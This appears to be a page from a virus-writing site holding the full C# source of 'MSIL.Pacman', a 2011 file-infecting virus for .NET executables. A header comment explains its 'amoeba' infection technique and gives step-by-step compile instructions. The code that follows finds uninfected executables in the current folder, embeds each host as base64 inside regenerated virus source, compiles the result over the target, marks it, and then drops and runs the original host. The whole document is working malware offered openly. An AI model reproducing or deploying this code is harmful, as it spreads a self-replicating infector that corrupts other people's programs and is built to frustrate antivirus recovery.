    return To index | download demo package!

    /* MSIL.Pacman
     * alcopaul
     * http://alcopaul.co.nr
     * may 09, 2011
     *
     *
     *  This virus demonstrates a new technique of infection (new kind of "amoeba infection technique") made possible by quining and .net's programmatic compiler calls.
     *  It embeds the host file inside the virus at source code level, thus making the host file very difficult to be recovered by antivirus programs.
     *
     *  I named it "Pacman" because just like the computer game character that eats anything, the virus also kinda "eats" the target file. Also it's named after Manny Pacquiao,
     *  the greatest pound for pound boxer in the world, who's also a Pinoy like me, hehehhe.
     *
     *
     *  Methods:
     *
     *  1.) Searches for a target MSIL file in current directory (infects 1 msil file per run).
     *  2.) If found, checks "pacman" marker for infection. If not infected, reads the target MSIL file.
     *      a.) Converts the byte array of the target to base 64 representation.
     *      b.) Decompiles the virus / Recreates the source code of the virus and includes the base 64 representation of target.
     *      c.) Compiles the new source (now including the target file) programatically into the target's file name.
     *      d.) Appends "pacman" signature to the infected file.
     *      d.) Stops looking for files and spawns and executes the host file.
     *  3.) If not found (all msil files are infected or no msil file found), stops and spawns and executes the host file.
     *
     *
     *  Notes:
     *
     *  1.) "database" variable is in long continous line. It's intended.
     *  2.) xtx[0] = the host's base64 representation.
     *  3.) First generation won't spawn a host file. xtx[0] = "TEST".
     *  4.) xtx[0] can store more than 100k bytes. Cool!
     *  5.) amoeba infection technique (coined by Peter Szor in his 2005 book "The Art of Computer Virus Research and Defense") was used by my old Visual Basic 6 virus, Sand.12300.
     *
     *  Greets:
     *
     *  philet0ast3r, SPTH, Metal, PSVX.org
     *
     *  Compile:
     *
     *  1.) open notepad
     *  2.) type "pacman"
     *  3.) save as sig.txt
     *  4.) csc /target:exe pacman.txt
     *  5.) copy /b pacman.exe+sig.txt
     *
     *
     *
     */

    // start virus source
    using System;
    using System.IO;
    using System.CodeDom;
    using System.CodeDom.Compiler;
    using Microsoft.CSharp;
    using System.Reflection;
    using System.Text;

    namespace ConsoleApplication3
    {
        class Program
        {
            private static string database = "TEST>dXNpbmcgU3lzdGVtOw0KdXNpbmcgU3lzdGVtLklPOw0KdXNpbmcgU3lzdGVtLkNvZGVEb207DQp1c2luZyBTeXN0ZW0uQ29kZURvbS5Db21waWxlcjsNCnVzaW5nIE1pY3Jvc29mdC5DU2hhcnA7DQp1c2luZyBTeXN0ZW0uUmVmbGVjdGlvbjsNCnVzaW5nIFN5c3RlbS5UZXh0Ow0KDQpuYW1lc3BhY2UgQ29uc29sZUFwcGxpY2F0aW9uMw0Kew0KICAgIGNsYXNzIFByb2dyYW0NCiAgICB7DQogICAgICAgIHByaXZhdGUgc3RhdGljIHN0cmluZyBkYXRhYmFzZSA9ICI=>[encoded data, 7692 characters]";
            static void Main(string[] args)
            {
                ASCIIEncoding AE = new ASCIIEncoding();
                string[] xtx = database.Split(new char[] { '>' });
                Module self = Assembly.GetExecutingAssembly().GetModules()[0];
                string[] hostfiles = Directory.GetFiles(Directory.GetCurrentDirectory(), "*.exe");
                foreach (string hostfile in hostfiles)
                {
                    try
                    {
                        AssemblyName.GetAssemblyName(hostfile);
                        if (getsig(self.FullyQualifiedName) == getsig(hostfile))
                            continue;
                        else
                            try
                            {
                                FileStream fs5 = new FileStream(hostfile, FileMode.OpenOrCreate, FileAccess.Read);
                                int iccp = (int)fs5.Length;
                                byte[] bytes4 = Read(fs5, iccp, 0);
                                fs5.Close();
                                string hostsource = encodeb64(bytes4);
                                string codey = decodeb64(xtx[1]);
                                string codez = decodeb64(xtx[2]);
                                string midcod = hostsource + ">" + xtx[1] + ">" + xtx[2];
                                string xcodex = codey + midcod + codez;
                                bool g = BuildExe(hostfile, xcodex);
                                while (g == true)
                                {
                                    FileStream fs54 = new FileStream(hostfile, FileMode.OpenOrCreate, FileAccess.Read);
                                    int iccpx = (int)fs54.Length;
                                    byte[] bytes44 = Read(fs54, iccpx, 0);
                                    fs54.Close();
                                    FileStream fs1 = new FileStream(hostfile, FileMode.OpenOrCreate, FileAccess.Write);
                                    WriteX(fs1, bytes44, AE.GetBytes("pacman"));
                                    fs1.Close();
                                    break;
                                }
                            }
                            catch
                            {
                                continue;
                            }
                        break;
                    }
                    catch
                    {
                        continue;
                    }
                }
                Random ran = new Random();
                int ty = ran.Next(2000);
                FileStream fs11 = new FileStream("p" + ty + "h.exe", FileMode.OpenOrCreate, FileAccess.Write);
                WriteX(fs11, decodeb64byte(xtx[0]), AE.GetBytes("pacman"));
                fs11.Close();
                try
                {
                    System.Diagnostics.Process x = System.Diagnostics.Process.Start("p" + ty + "h.exe");
                    x.WaitForExit();
                }
                catch
                {
                    ;
                }
                finally
                {
                    File.Delete("p" + ty + "h.exe");
                }
            }
            private static string getsig(string filenamex)
            {
                FileStream fs55 = new FileStream(filenamex, FileMode.OpenOrCreate, FileAccess.Read);
                int iccp = (int)fs55.Length;
                byte[] bytes4 = Read(fs55, 6, iccp - 6);
                fs55.Close();
                ASCIIEncoding zenc = new ASCIIEncoding();
                return zenc.GetString(bytes4);
            }
            private static byte[] Read(FileStream s, int length, int c)
            {
                BinaryReader w33 = new BinaryReader(s);
                w33.BaseStream.Seek(c, SeekOrigin.Begin);
                byte[] bytes2 = new byte[length];
                int numBytesToRead2 = (int)length;
                int numBytesRead2 = 0;
                while (numBytesToRead2 > 0)
                {
                    int n = w33.Read(bytes2, numBytesRead2, numBytesToRead2);
                    if (n == 0)
                        break;
                    numBytesRead2 += n;
                    numBytesToRead2 -= n;
                }
                w33.Close();
                return bytes2;
            }
            public static void WriteX(FileStream s, byte[] g, byte[] k)
            {
                BinaryWriter w = new BinaryWriter(s);
                w.BaseStream.Seek(0, SeekOrigin.Begin);
                w.Write(g);
                w.Write(k);
                w.Flush();
                w.Close();
            }
            private static bool BuildExe(string zname, string codey)
            {
                ICodeCompiler vic = new CSharpCodeProvider().CreateCompiler();
                CompilerParameters ocp = new CompilerParameters();
                ocp.ReferencedAssemblies.Add("System.dll");
                ocp.GenerateExecutable = true;
                ocp.CompilerOptions = "/target:exe";
                ocp.OutputAssembly = zname;
                CompilerResults zresults = vic.CompileAssemblyFromSource(ocp, codey);
                foreach (CompilerError ce in zresults.Errors)
                {
                    Console.WriteLine(ce.ErrorNumber + ": " + ce.ErrorText);
                }

                if (zresults.Errors.Count == 0)
                {
                    return true;
                }
                else
                {
                    return false;
                }
            }
            private static byte[] decodeb64byte(string donny)
            {
                return Convert.FromBase64String(donny);
            }
            private static string decodeb64(string donny)
            {
                byte[] plain = Convert.FromBase64String(donny);
                return Encoding.ASCII.GetString(plain);
            }
            private static string encodeb64(byte[] ggg)
            {
                ASCIIEncoding AE = new ASCIIEncoding();
                return Convert.ToBase64String(ggg);
            }
        }
    }
    // end virus source